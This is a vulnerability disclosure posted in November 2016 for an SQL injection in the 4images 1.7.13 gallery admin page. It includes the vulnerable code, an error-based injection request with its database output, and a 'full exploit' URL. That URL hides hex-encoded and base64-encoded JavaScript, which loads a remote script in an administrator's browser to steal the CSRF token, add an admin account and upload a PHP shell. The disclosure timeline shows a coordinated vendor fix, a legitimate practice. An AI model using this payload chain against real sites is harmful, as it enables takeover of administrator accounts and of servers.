4images 1.7.13 SQL Injection
Posted on 11 November 2016
# vulnerable app : 4images <= 1.7.13 # Vendor : www.4homepages.de # Author : Ahmed sultan (0x4148) # Email : 0x4148@gmail.com # Home : 0x4148.com 4images is a powerful web-based image gallery management system. Features include comment system, user registration and management, password protected administration area with browser-based upload and HTML templates for page layout and design. The app is vulnerable to Sql injection flaw which can be escalated to new administrator add exploit Vulnerable code File : admin/validateimages.php Line 406 $sql = "SELECT i.image_id, i.cat_id, i.user_id, i.image_name, i.image_date, i.image_media_file".get_user_table_field(", u.", "user_name")." FROM ".IMAGES_TEMP_TABLE." i LEFT JOIN ".USERS_TABLE." u ON (".get_user_table_field("u.", "user_id")." = i.user_id) WHERE $condition ORDER BY $orderby $direction LIMIT $limitstart, $limitnumber"; $result = $site_db->query($sql); Input parameter orderby is not sanitized before being passed to the sql query which lead to sql injection flaw POC GET /lab/4images1.7.13/4images/admin/validateimages.php?action=validateimages&orderby=extractvalue(1,concat(0x7e,version()))&direction=ASC&limitnumber=10 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: 4images_lastvisit=1478064418; 4images_userid=1; sessionid=ru4g0mqdpd3cj6pub1d0a5kmf4 Will result in <br /><font color='#FF0000'><b>DB Error</b></font>: <b>Bad SQL Query</b>: SELECT i.image_id, i.cat_id, i.user_id, i.image_name, i.image_date, i.image_media_file, u.user_name FROM 4images_images_temp i LEFT JOIN 4images_users u ON (u.user_id = i.user_id) WHERE 1=1 ORDER BY extractvalue(1,concat(0x7e,version())) ASC LIMIT 0, 10<br /><b>XPATH syntax error: '~5.5.25a' Exploitation : By the help of JS the sql injection flaw can be used to obtain the current csrf token and use it to add new administrator within the admin browser session Full exploit poc admin/validateimages.php?action=validateimages&orderby=extractvalue(1,concat(0x3c7376672f6f6e6c6f61643d6576616c28222f2a222b55524c293e))&direction=ASC&limitnumber=10#*/with(document)body.appendChild(createElement(/script/.source)).src=atob(/Ly9sb2NhbGhvc3QveC5qcw==/.source) Ly9sb2NhbGhvc3QveC5qcw== is the base64 encoded Javascript url which will be executed inside administrator's browser Impact Attacker can inject JS code which result in bypassing the CSRF token , adding new administrator's account or even updating allowed extensions and uploading php shell on the vulnerable host Reference(s): https://0x4148.com/2016/11/02/4images-1-7-13-sql-injection-administrator-add-exploit/ Disclosure timeline 1/11 - Vulnerability was reported 2/11 - Vendor sent fixation to review 3/11 - Fixed evrsion was retested by me and approved 3/11 - Vendor scheduled official update release 10/11 - Public disclosure
